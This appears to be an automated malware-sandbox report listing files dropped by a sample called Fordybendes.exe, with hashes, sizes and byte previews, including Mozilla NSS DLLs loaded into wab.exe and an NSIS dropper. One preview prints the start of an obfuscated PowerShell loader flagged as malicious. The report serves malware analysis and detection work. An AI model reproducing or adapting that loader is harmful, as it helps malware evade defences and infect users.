MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\50C257A1\freebl3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\mozglue.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\msvcp140.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\nss3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\nssdbm3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\softokn3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\ucrtbase.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\vcruntime140.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dr4izjnw.yxy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rftdppn2.4yh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Gate.pri

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	data
Category:	dropped
Size (bytes):	1042283
Entropy (8bit):	1.7886053025125173
Encrypted:	false
SSDEEP:	6144:3QyNdKTixkYaOeGiNg61P3T9HCqqRVEeZ:ZdAQnR
MD5:	73E04A3EBAB143C253A070C84DB8E922
SHA1:	A17A157D99E571539567E72BA78E860C39305493
SHA-256:	1312885814B08BDC0B9EAB2C8066C6AB9960458E966B334FAE8C238AC07FEC89
SHA-512:	F0A5260D2BBF6CD824E72DAA6D3E37AEF71B8518E126AF5DB4ED364C4283AE70D7D78D7D802DEC0E634719B309D2400091E7E1C857D515BA17950796CDBBF64B
Malicious:	false
Preview:	................6.....................V.....................................+.V............d.............................(....~..........Q..r.7...........................a..%.a......................................=./..............p..............P.....,................w..................2......`................................p..b.....v...........@.................B..................#.\.2P..Q....................................-...............R................F/.F..............T......}.............^....................................~.....................i....................~........}................X..................................B......................#.............................................\|....................M................../.._............................V...........&...............................................A0................q....................................7............w.............}............................n.....:...........j........................

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	ASCII text, with very long lines (54997), with no line terminators
Category:	dropped
Size (bytes):	54997
Entropy (8bit):	5.387261538957597
Encrypted:	false
SSDEEP:	768:GCbLo26BhjVbijD5Ww5y9K6xgIEy0k9REqrh8d6yDllvj8ghU8VHKaXpO2SwcKdi:vbLiNbRaivqIEVkrEAS4yDVHqaXZUH
MD5:	ADB2583A0A9116209FF02D0D8F46486A
SHA1:	FE9870E0021D08784FBB3F6A30983C06561E3B00
SHA-256:	892A8D3ADBAFFE60FC92C987CEDA41BED9286C0039624FDA572FEB30EC913E82
SHA-512:	BB06E50B6CD40FB554E421EFC077B889B409C2D0657E31CEA2FD8D6A0FE2F4E5DFCDF569D7ABD5EC00347375D89B775B0A25D20E9B262DB4B5049AE2372DF6D1
Malicious:	true
Preview:	$Ergoterapiernes=$Mosaik;<#Baadebroerne Undelectable Crescendoing Tagkonstruktionen Fejre #><#Trskelprisen Makkerne Ljpe Fungoes Seccos Unfeignableness Gravenstener #><#Suspiratious Pwt Suppleringsvalgets Thalamically Melanochroi Ryet #><#Kompromitteret Ornaterne Munichism svindlerier Convolvulic croatian Uncocking #><#Pladerne Predesignate Arizonite #><#Opsigelsesregels Fyraftenstid Grmmes Barrigudo Baandmaalets Nortelry Unpeacefulness #>$Flybilletter = "Inkub;Marro`$CajupRhoikvoForstlOverdlSirplb MlleaHensic .atek avsps Ultre O,sid PlovsHon rtAcetaeUnken=Fun e`$,ulajWTvaera.essoiOrdlytT lemi,yttenMnsteg Fjen;PsychfFolicuSmertnA.kelccormotHegemiIndflo EgnsnFogyi LaudLCerulaPar,ivIndoliUvirksMi.dehHoi,e dagge( Inda`$FloweT Vri,h.rimrrBirkeo essemIndusbE,ecto S.becSupery EnersStolptTidss,Vest,`$ SlouR pre obirdslBowsilSlbevbL.bieaKlit cUnworkskerrsAnasa) Dy,a .elis{ M,cr.atomf`$ ontrW ShamiHanlenHappeePaladgStyrerMulato.mtaawLok.eesaldorPo tr1Ris,n3Crab 0Sorti Uv.nn(BrnepU Unp,kLoaduo

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\Fordybendes.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1905008
Entropy (8bit):	7.932256699057516
Encrypted:	false
SSDEEP:	49152:A8jXGmnj2u/T6aFh4yHp3dWojuja2wZjyOeT:PrGqXxFhVHp3dHjd2EBeT
MD5:	21EA616CF4F0DF2053BEAE6F4C625213
SHA1:	5B2399A6B7B87F19604BB94A4EBB3BC364B618CE
SHA-256:	85F2C33BD270E95170FF8A249FF7C054CE2AD4044C41D6C9D989E7A914AC4CD0
SHA-512:	5DB9DEF0E9E9E99ECB6E43047C11E31EA87B08BA0DEFF652E11C95629F45F8BD037B718D023A499660D5696F331D4BF8D90D7C733F4181CD285811419697C7ED
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..F..F..F.....F..G.w.F.....F..v..F...@..F.Rich.F.........PE..L....C.f.................d...........3............@.......................................@.................................0........0...............................................................................................................text....b.......d.................. ..`.rdata..4............h..............@..@.data...8............\|..............@....ndata.......P...........................rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\Fordybendes.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\egenpensionernes.hjo

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	data
Category:	dropped
Size (bytes):	877515
Entropy (8bit):	1.7902213107265337
Encrypted:	false
SSDEEP:	3072:ptMbNdHAWJ5eWgLE9W+uonWpeWVVVK/jnbdNtkGjPdkreT4dnhky7dtTZzM:DsNNACzgLEs+uoCeuVVKrbDBj6qm1XZw
MD5:	B0454B46042C0367FA0729DF3301176B
SHA1:	DE815E4F90EA287C45C8D6A5DE003665E6A5920C
SHA-256:	D87F88B3637E07FAFAAB1529A46D7E88F7A3316E8A7E086BD2F1AC9A0D4E964E
SHA-512:	145706824F8C0330828B8F271189FE4D747E3721332F07BB81605EE8AFED1F5AE19D723B8D552FF73F8F15CB3D60D0305C522EB43997E0B3FE9E9B1517C4960F
Malicious:	false
Preview:	..........................C............x.......................M.....G................................H...........................................4...R.........=................,.............................................y............Z......................=....................0................w.............................6.`..e............................!...G...................................D......................E...^........;.......................e.............7.....<.....}.....'.....W..........[..,...........2............................w....'..........................................1b.....................................[...........=..(..........O..F...u....(.......................................f.....Z.......n...........&...................@."....S.........B....................\............................g..............{..6........D............................w..................................O.......................dq<..........................y......................

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\knudepunktstrafikken.sma

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	data
Category:	dropped
Size (bytes):	823078
Entropy (8bit):	1.7914063474342072
Encrypted:	false
SSDEEP:	3072:lU7ZOpLDP4HD2FGUu7FWb3ccwhkibCvclrj0mT8dbzhhtEdEA:qtWDTF9uRWj8kib3fYdnhkSA
MD5:	D2A604DEBCEAD67F281851485D4C58E6
SHA1:	4BAAE6808E632DD7E35BE63FBE14BA63A2AC788F
SHA-256:	C3BE3445D0B49FCB6FA683518E257D06D9D647F10A33F953249F21415F5EEA32
SHA-512:	8F769EDA80FE6C8A44F0F9B9A473E6DAB071EAEFCE12B59183BDF86D873FAB8FBB8724C0A1D1C0642F4D11A5EACEB816DB1F018C2705248CAECA5D12569136EE
Malicious:	false
Preview:	...............i....}a.....W.....g...o.........'..............................t..................T......<....................e.............................................x..$.........g.............[......w...S............................d........u...h....P.............X.................................S......=...................X..........................,....................I...........b................o.......K........................w......J.................................................................................;.......................h...................................................................K...........9.............,.......J..........................................................8.......................f...._...4..........................t.......<...........................G.........p.......C..............>...../.................S..........o....]........!...........................y............f.............................8...........?...M..,................

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\rustendes.ass

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	data
Category:	dropped
Size (bytes):	996578
Entropy (8bit):	1.7880714285065422
Encrypted:	false
SSDEEP:	6144:2UIqiIwmZXWeFXlR4DMM+XvIwQ2WogHNzvWeO:Vb1weFog/8HO
MD5:	5BCA2372CAF70A8599C494E819DAEE42
SHA1:	CFE8B332176271EE5A13CBF03F8BF24FCE6DCD02
SHA-256:	17742BA337C2BC26B09D4A1A6BB77C337688515337FF1F6D86D9F032CA7CC2AA
SHA-512:	7B8DBA5934042B0BAB6CF66EF54F3F6BABFCD677DB8BBA654C9D25D4BD0C41F8C4BE4FD75958F04B35F4D3020FE05FDCC7EA088125A39AFB05BBFB830754915E
Malicious:	false
Preview:	...............)......................................................................................................................................................................Y.w......9.h........7.......^.............................l..h..........................p.........B............................;.......K.....................].....................................................................r..........v..............................Rs.........................................'.u..............(.......x..........q......\|....f..J...........:....................(...E.....(............................)............../.......................\......................................<.!................s.....L..............................................K......... .................8.....E.....r....<..........9.......Z..2............,.a....Q....................=...............................................n................................................Q..........}..............

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\tevarmere.txt

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	549
Entropy (8bit):	4.241089975268116
Encrypted:	false
SSDEEP:	12:++5svo+sCGOICvCpgEhJjIAYKRSgSW1zrUd:++5sZIYRGIJKh1zwd
MD5:	B2BEA766444A07064A76CA325A107C20
SHA1:	C57092643A52458EADB1532C9CB8810E1FC757CF
SHA-256:	7808068C80DE889F9B5739F4C13B700781E51585CBAA44C543B2F133CA49661C
